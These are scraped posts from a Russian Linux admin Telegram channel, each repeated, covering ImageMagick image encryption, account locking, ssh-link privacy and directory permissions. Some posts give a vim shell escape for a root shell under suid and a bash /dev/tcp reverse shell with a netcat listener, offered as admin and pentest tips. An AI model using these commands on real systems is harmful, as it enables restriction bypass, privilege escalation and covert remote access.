Привет. Сегодня шифруем пиксели!
Если кратко, берем png картинку и шифруем ее с помощью парольной фразы.
Но самое главное, картинка останется в png формате и не превратится в какой-то бесполезный бинарник. А дальше её можно будет открыть и визуально посмотреть через любой просмотрщик файлов.
А поможет нам в этом старый и добрый ImageMagic
Для начала мне понадобится изображение, в котором я буду шифровать пиксели. Давай его сгенерим:
Эта команда создаст изображение bashdays.png с волшебником, который хуячит живопись. Выглядит это так: bashdays.png
Хорошо. Теперь нужно зашифровать это изображение. Выполняем команду:
Получаем файл hidden.png с пикселями. Файл прекрасно открывается, но волшебника мы уже не видим. Лишь какой-то цветной шум. Выглядит это так.
Шифрование делаем через опцию encipher, в качестве аргумента эта опция принимает имя файла с парольной фразой. Дефис после encipher означает - стандартный ввод, который в данном случае указывает на канал «|».
Ну и дешифровка:
Если проебал пароль или ввел неправильно, получишь тот же набор цветных пикселей. Пароль восстановить увы не получится. Так что запиши на бумажку и повесь на монитор, как в лучших практиках ИБ.
Еще есть прикол, что изображение можно зашифровать с помощью ключа, например другого изображения.
В этом примере, key.gif это ключ для шифрования. Без этого файла расшифровать изображение уже не получится. Заебись? Заебись!
✔️ А какие нюансы?
Да, они есть. Некоторые форматы изображений, не поддерживают зашифрованные пиксели, например jpeg или gif. Поэтому прежде чем что-то шифровать, проверь что это получится расшифровать.
ImageMagick зашифровывает только пиксели, метаданные изображения остаются нетронутыми и читабельными для любых пользователей. Поэтому если что-то скрываешь, подчищай метаданные.
Шифрование идет через AES в режиме счетчика. Первая половина парольной фразы это одноразовый номер, вторая половина это ключ шифрования.
Где можно применить?
Каждый сам решает зачем ему это нужно. Но знаю реальный случай, когда блекхэты публиковали в twitter подобные изображения.
Эти изображения можно было найти в поиске по-специальному тэгу. С помощью этих картинок, осуществлялась координация кибер-атак по всему миру.
По мне так, данный способ уматно использовать в каких-нибудь онлайн квестах, где нужно найти парольную фразу, а потом расшифровать изображение. Больше на ум (из легального) ничего и не приходит.
Изучай!
tags: #security
@ВАSНDАYS | BАSHDАYS.CОM
Если кратко, берем png картинку и шифруем ее с помощью парольной фразы.
Но самое главное, картинка останется в png формате и не превратится в какой-то бесполезный бинарник. А дальше её можно будет открыть и визуально посмотреть через любой просмотрщик файлов.
Правда в зашифрованном виде, но это не проблема если у тебя есть парольная фраза или файл-ключ.
А поможет нам в этом старый и добрый ImageMagic
Для начала мне понадобится изображение, в котором я буду шифровать пиксели. Давай его сгенерим:
convert wizard: bashdays.png
Эта команда создаст изображение bashdays.png с волшебником, который хуячит живопись. Выглядит это так: bashdays.png
Хорошо. Теперь нужно зашифровать это изображение. Выполняем команду:
echo 'пароль' | convert bashdays.png -encipher - -depth 8 png24:hidden.png
Получаем файл hidden.png с пикселями. Файл прекрасно открывается, но волшебника мы уже не видим. Лишь какой-то цветной шум. Выглядит это так.
Шифрование делаем через опцию encipher, в качестве аргумента эта опция принимает имя файла с парольной фразой. Дефис после encipher означает - стандартный ввод, который в данном случае указывает на канал «|».
Ну и дешифровка:
echo 'пароль' | convert hidden.png -decipher - restored.png
Если проебал пароль или ввел неправильно, получишь тот же набор цветных пикселей. Пароль восстановить увы не получится. Так что запиши на бумажку и повесь на монитор, как в лучших практиках ИБ.
Еще есть прикол, что изображение можно зашифровать с помощью ключа, например другого изображения.
convert bashdays.png -encipher key.gif result.png
В этом примере, key.gif это ключ для шифрования. Без этого файла расшифровать изображение уже не получится. Заебись? Заебись!
✔️ А какие нюансы?
Да, они есть. Некоторые форматы изображений, не поддерживают зашифрованные пиксели, например jpeg или gif. Поэтому прежде чем что-то шифровать, проверь что это получится расшифровать.
ImageMagick зашифровывает только пиксели, метаданные изображения остаются нетронутыми и читабельными для любых пользователей. Поэтому если что-то скрываешь, подчищай метаданные.
Шифрование идет через AES в режиме счетчика. Первая половина парольной фразы это одноразовый номер, вторая половина это ключ шифрования.
Если далёк от криптографии, то забей хуй, работает да и ладно.
Где можно применить?
Каждый сам решает зачем ему это нужно. Но знаю реальный случай, когда блекхэты публиковали в twitter подобные изображения.
Эти изображения можно было найти в поиске по-специальному тэгу. С помощью этих картинок, осуществлялась координация кибер-атак по всему миру.
По мне так, данный способ уматно использовать в каких-нибудь онлайн квестах, где нужно найти парольную фразу, а потом расшифровать изображение. Больше на ум (из легального) ничего и не приходит.
Изучай!
tags: #security
@ВАSНDАYS | BАSHDАYS.CОM
Привет, сегодня коротко, очередная внеплановая пятница. Короче в продолжение к постам про повышение привилегий.
Если звезды сошлись (suid/guid и прочая хуйня), то через vim ты можешь получить интерактивный root shell.
Делается так:
Или так:
На выходе тебе выплюнет доллар ($) ну и там уже бесоёбишь.
Это применимо не только к пентесту, но и к ситуации когда админ порезал оболочку, ограничив тебя белым списком.
И если в этом списке есть vi/vim, то ты ничем не ограничен. Запускаешь полноценный shell через vim и развлекаешься. А порой можно дотянутся и до папки /root и всего остального. Было бы желание 🥳
Вектор этот очень распространён, добавил в бэклог. Сниму как-нибудь видос на ютубину, покажу так сказать всю подноготную выхода из клетки средствами vim.
Давай, хороших выходных! Я пожалуй тоже устрою себе внеплановый отпуск на пару дней. Увидимся!
Там еще ребята с какого-то облака пришли. Устроим с ними конкурс в ближайшее время с вкусными призами, обещают подвезти вам облачных плюшек на халяву, а я в свою очередь денежный бонус задоначу, приобретете себе чтонибудь пиздатое, например как Дима тут ))
tags: #linux #security #utils
@ВАSНDАYS | BАSHDАYS.CОM
Если звезды сошлись (suid/guid и прочая хуйня), то через vim ты можешь получить интерактивный root shell.
Делается так:
vim -c ':!/bin/sh'
Или так:
vim --cmd ':set shell=/bin/sh|:shell'
На выходе тебе выплюнет доллар ($) ну и там уже бесоёбишь.
Это применимо не только к пентесту, но и к ситуации когда админ порезал оболочку, ограничив тебя белым списком.
И если в этом списке есть vi/vim, то ты ничем не ограничен. Запускаешь полноценный shell через vim и развлекаешься. А порой можно дотянутся и до папки /root и всего остального. Было бы желание 🥳
Вектор этот очень распространён, добавил в бэклог. Сниму как-нибудь видос на ютубину, покажу так сказать всю подноготную выхода из клетки средствами vim.
Давай, хороших выходных! Я пожалуй тоже устрою себе внеплановый отпуск на пару дней. Увидимся!
Там еще ребята с какого-то облака пришли. Устроим с ними конкурс в ближайшее время с вкусными призами, обещают подвезти вам облачных плюшек на халяву, а я в свою очередь денежный бонус задоначу, приобретете себе чтонибудь пиздатое, например как Дима тут ))
tags: #linux #security #utils
@ВАSНDАYS | BАSHDАYS.CОM
Добрый день господа и дамы. Сейчас накидаю тебе интересную темку, которую частенько используют пентестеры в своей работе.
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту
Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит
Просим инженера из мухосранска запустить у себя:
В ответ он получает строчку вида:
-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
Не забываем у инженера узнать его IP, чтобы подставитьинженера его в команду.
Все эти хуйни с перенаправлением
А дальше… магия!
В мухосранске, там где запустили
У инженера сменится шелл с
Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #networks #security
—
🔔
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту
nc
= netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит
netcat
.Просим инженера из мухосранска запустить у себя:
root:/ nc -lvnp 2288
В ответ он получает строчку вида:
Listening on 0.0.0.0 2288
-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1
Не забываем у инженера узнать его IP, чтобы подставить
Все эти хуйни с перенаправлением
0<&1 2>&1
описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.А дальше… магия!
В мухосранске, там где запустили
nc -lvnp 2288
, произойдет такое:Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root:~#
У инженера сменится шелл с
root
на root
и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #networks #security
—
🔔
FALSE!
Ну, еще одна статейка для укрепления нервов.
Все знают, что для блокировки пользователя нужно использовать команду:
Эта команда добавляет знак «!» перед полем пароля, что делает его недопустимым, тем самым блокируя.
Все это дело происходит в файле
Читаем
Ахренеть. Я тут пользователя блокернул, а он войти может.
Проверяем. Точно, по ssh, через ключ, входит и выходит. Замечательно выходит!
Лирическое отступление: В мане
Понимаете для чего нужна опция PermitEmptyPasswords в файле
Напоминаю, что если установить пользователю оболочку
➡️ Что делать для полной блокировки пользователя?
Воспользоваться "оболочкой
Резюмирую:
При блокировке пароля возможен доступ по ключу.
tags: #linux #security © by Tagd Tagd
—
🔔 ➡️
Ну, еще одна статейка для укрепления нервов.
Напоминаю: БЕЗДУМНАЯ ПРАВКА СИСТЕМНЫХ ФАЙЛОВ МОЖЕТ ПРИВЕСТИ НЕРАБОТОСПОСОБНОСТИ СЕРВЕРА.
Все знают, что для блокировки пользователя нужно использовать команду:
sudo usermod -L username
Эта команда добавляет знак «!» перед полем пароля, что делает его недопустимым, тем самым блокируя.
Все это дело происходит в файле
/etc/shadow
, где хранятся зашифрованные пароли пользователей.Читаем
man shadow
:Если поле пароля содержит строку, которая не удовлетворяет требованиям crypt(3), например содержит «!» или, то пользователь не сможет использовать этот пароль unix для входа (но может войти в систему под другими паролями).
Ахренеть. Я тут пользователя блокернул, а он войти может.
Проверяем. Точно, по ssh, через ключ, входит и выходит. Замечательно выходит!
Лирическое отступление: В мане
shadow
также написано, что пароль вообще может быть пустым, но некоторые программы могут запретить его использование.Понимаете для чего нужна опция PermitEmptyPasswords в файле
/etc/ssh/sshd_config
?Напоминаю, что если установить пользователю оболочку
/usr/sbin/nologin
, то иногда этот пользователь может получить доступ к файлам через sftp (при установленной подсистеме internal-sftp).➡️ Что делать для полной блокировки пользователя?
Воспользоваться "оболочкой
/usr/bin/false
" Она просто возвращает код ошибки.Резюмирую:
При блокировке пароля возможен доступ по ключу.
/usr/sbin/nologin
иногда дает доступ к файлам/usr/bin/false
не дает, стерва.man usermod shadow sshd_config
tags: #linux #security © by Tagd Tagd
—
🔔 ➡️
Включаем режим параноика.
Все, и не раз слышали про то, что ходить по ссылкам не хорошо. Особенно, если эти ссылки непонятно откуда.
ㅤ
Но почему-то многие думают, что это касается только ссылок
Тут на недавно проскакивала тема про Консольные онлайн Telnet/SSH игры.
Посмотрим на это глазами параноика: Что происходит, когда вы подключаетесь к ссылке вида
Просто в логах сервера отобразится ваш IP. Ситуация усугубляется, когда вы заходите на ссылку вида
В этом случае в логах отобразится не только адрес, но и логин текущего пользователя.
Прикиньте, есть ip и уже есть логин. Осталось подобрать пароль. Я бы на месте малышей-плохишей специально рыскал бы по github в поисках всякой прикольной фигни и собирал пары ip/login.
Да и логин, не какой-то там test, а реально используемый - сам по себе ценный ресурс.
Поэтому не ходите по ссылкам с рабочих машин, а если видите ссылку
Прошу прощениt за тему, которая и так всех задолбала.
tags: #linux #security © by Tagd Tagd
—
🔔 ➡️
Все, и не раз слышали про то, что ходить по ссылкам не хорошо. Особенно, если эти ссылки непонятно откуда.
ㅤ
Но почему-то многие думают, что это касается только ссылок
http:// https:// ftp://.
Тут на недавно проскакивала тема про Консольные онлайн Telnet/SSH игры.
Посмотрим на это глазами параноика: Что происходит, когда вы подключаетесь к ссылке вида
ssh user.dom.
Ну, ничего страшного.Просто в логах сервера отобразится ваш IP. Ситуация усугубляется, когда вы заходите на ссылку вида
ssh addr.dom.
В этом случае в логах отобразится не только адрес, но и логин текущего пользователя.
Прикиньте, есть ip и уже есть логин. Осталось подобрать пароль. Я бы на месте малышей-плохишей специально рыскал бы по github в поисках всякой прикольной фигни и собирал пары ip/login.
Да и логин, не какой-то там test, а реально используемый - сам по себе ценный ресурс.
Поэтому не ходите по ссылкам с рабочих машин, а если видите ссылку
ssh addr.dom
не поленитесь и добавьте пользователя test.dom
, чтобы не светить свой реальный логин.Прошу прощениt за тему, которая и так всех задолбала.
tags: #linux #security © by Tagd Tagd
—
🔔 ➡️
Тут меня попросили подробнее рассказать про права 330 на каталог.
🔤🔤🔥🔤🔤🔤🔤
Но начну я с того, что напомню, что права в текстовом формате несколько лучше, чем в числовом.
ㅤ
Конкретно дело касается права "X". Это то же самое, что "x" но касается только каталогов.
То есть
Ну, ладно, я отвлекся. 330.
Тут в чате Alex (генератор идей) правильно назвал права «черной комнатой». Клаcсная аналогия.
Короче, я баню зловредов, которые ломятся ко мне на ssh. Баню в разных филиалах. И филиалы сваливают ежедневные отчеты мне, в головной по sftp.
По-хорошему, нужно, чтоб для каждого филиала, отдельная учетка, все загружают, каждый в свой каталог... Но данные не особо ценные.
Но и паранойю никто не отменял. А если ломанут один филиал, и как начнут данные отравлять... :-)
В общем принял решение, что все работают под одной учеткой. Поставил права на папку 330 (-wx-wx---).
Эти права разрешают файл открыть, записать, удалить. Только нужно точно указать какой конкретно файл. Потому что список получить нельзя.
Файлы сваливаются с суффиксом, например
То есть на сервере в головном от root я вижу все файлы, а филиалы не видят не то что соседние файлы, но даже свой.
Эти права раньше часто ставили на папку upload на анонимных ftp серверах. Но и сейчас можно использовать, для заливки, бэкапов, например.
Да, знаю, сейчас опытные админы набегут и начнут рассказывать про rsync. Я архивы шифрую. А при работе с шифрованными архивами rsync работает хуже, чем sftp. (Ну, сначала контрольные суммы, потом сравнение, потом синхронизация).
А что там сравнивать... они всегда разные. Блин, опять скатился на больное... В общем, при одной учетке, формально можно считать sftp сервер анонимным, но с кругом пользователей, ограниченным ключами :-).
Применение прав 330 позволяет упростить заливку файлов с обеспечением некоторой секьюрности.
Для освежения памяти очень рекомендую статью chmod в википедии.
tags: #security #linux
—
🔔 ➡️
🔤🔤🔥🔤🔤🔤🔤
Но начну я с того, что напомню, что права в текстовом формате несколько лучше, чем в числовом.
ㅤ
Конкретно дело касается права "X". Это то же самое, что "x" но касается только каталогов.
То есть
chmod -R +X ./
установит возможность поиска во всех подкаталогах текущего, но не сделает все файлы исполняемыми!Ну, ладно, я отвлекся. 330.
Тут в чате Alex (генератор идей) правильно назвал права «черной комнатой». Клаcсная аналогия.
Короче, я баню зловредов, которые ломятся ко мне на ssh. Баню в разных филиалах. И филиалы сваливают ежедневные отчеты мне, в головной по sftp.
По-хорошему, нужно, чтоб для каждого филиала, отдельная учетка, все загружают, каждый в свой каталог... Но данные не особо ценные.
Но и паранойю никто не отменял. А если ломанут один филиал, и как начнут данные отравлять... :-)
В общем принял решение, что все работают под одной учеткой. Поставил права на папку 330 (-wx-wx---).
Эти права разрешают файл открыть, записать, удалить. Только нужно точно указать какой конкретно файл. Потому что список получить нельзя.
Файлы сваливаются с суффиксом, например
filXXX_Ohd1Ul.txt
Имя файла для каждого филиала всегда одно и то же, префикс - название филиала, суффикс набор букв (защита от перебора).То есть на сервере в головном от root я вижу все файлы, а филиалы не видят не то что соседние файлы, но даже свой.
Эти права раньше часто ставили на папку upload на анонимных ftp серверах. Но и сейчас можно использовать, для заливки, бэкапов, например.
Да, знаю, сейчас опытные админы набегут и начнут рассказывать про rsync. Я архивы шифрую. А при работе с шифрованными архивами rsync работает хуже, чем sftp. (Ну, сначала контрольные суммы, потом сравнение, потом синхронизация).
А что там сравнивать... они всегда разные. Блин, опять скатился на больное... В общем, при одной учетке, формально можно считать sftp сервер анонимным, но с кругом пользователей, ограниченным ключами :-).
Применение прав 330 позволяет упростить заливку файлов с обеспечением некоторой секьюрности.
Для освежения памяти очень рекомендую статью chmod в википедии.
tags: #security #linux
—
🔔 ➡️